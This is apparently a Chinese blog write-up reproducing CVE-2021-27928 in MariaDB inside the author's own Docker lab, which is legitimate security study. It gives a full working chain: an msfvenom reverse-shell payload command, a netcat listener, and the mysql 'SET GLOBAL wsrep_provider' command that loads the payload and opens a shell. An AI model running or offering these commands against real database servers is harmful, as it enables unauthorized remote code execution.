CVE-2021-27928漏洞复现

漏洞简介:它是一个MariaDB的远程命令执行漏洞,存在于10.2.37之前的10.2版本,10.3.28之前的10.3版本,10.4.18之前的10.4版本以及10.5.9之前的10.5版本。

复现环境

  • 攻击机:Ubuntu 20.04.2 LTS
  • 目标机:mariadb/server:10.3.13 docker容器

复现准备

  • 我们需要在我们的攻击机上安装 metasploit-framework 框架。安装步骤见Nightly Installers · rapid7/metasploit-framework Wiki (github.com)

  • 安装成功后,我们利用这样一条语句生成反向Shell有效负载。

    msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so
    
  • 一定要注意的是,这里的ip是攻击机自己的ip,而不是目标机的ip。port这里随便取,我取了4444。正常的运行结果如下图。

    在这里插入图片描述

  • 现在攻击机的准备工作已经做完了。我们现在需要准备目标机的环境。由于现在大多的镜像源中apt里已经不支持旧版本的mariadb,而去官网手动安装二进制文件又十分复杂。我这里选用了mariadb/server:10.3.13的docker镜像,当然你也可以选择mariadb/server:10.2.22,只要保证该版本的mariadb收到该漏洞影响即可。这里挂一下它的dockerhub网址mariadb/server (docker.com)。大家可以自行选取。

  • 最后我的Dockerfile是这样的,把攻击载荷放到了docker容器中的/tmp文件夹

    FROM mariadb/server:10.3.13 
    LABEL Author="wuuconix <wuuconix@gmail.com>"
    LABEL Blog="https://blog.csdn.net/Cypher_X"
    
    COPY ./files /tmp/
    

    在这里插入图片描述

    那两个sh脚本是我用来快速构建和更新docker容器写的sh脚本。这样我们就不用每次输入一大串docker命令了,而只需要输入zsh build.sh,十分方便,这里放一下代码供大家参考。

    #build.sh
    docker build -t maria . && \
    docker run -d --name maria -e MARIADB_ROOT_PASSWORD=root  maria && \
    docker exec -it maria bash  
    
    # update.sh
    docker stop maria \
    && docker rm maria \
    && docker rmi maria \
    && zsh build.sh
    

    从build.sh的内容我们也可以看到maria/server 镜像的使用方法,需要加一个MARIADB_ROOT_PASSWORD的环境变量,来初始root用户的密码,我这里设置的密码是root。这些都可以在dockerhub上的overview中找到。

复现过程

  • 开启容器

    在这里插入图片描述

  • 主机开启监听

    nc -lvnp  4444
    
  • 主机执行有效shell

    mysql -u root -p -h 172.17.0.2 -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'
    

    注意这里的172.17.0.2是目标机也就是docker容器的ip。

    在这里插入图片描述

    输入后会报错,但是不要慌,我们的监听窗口这时应该已经连上了。

    在这里插入图片描述

    输入whoami来看看当前用户。

    在这里插入图片描述

    成功。

经验总结

  • 当输入apt-cache madison mariadb-server没有想要的版本时,可以去dockerhub查找软件历史版本的镜像。

参考链接

MariaDB数据库SUPER特权漏洞CVE-2021-27928-Linux实验室 (wanyunshuju.com)

NVD - CVE-2021-27928 (nist.gov)

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐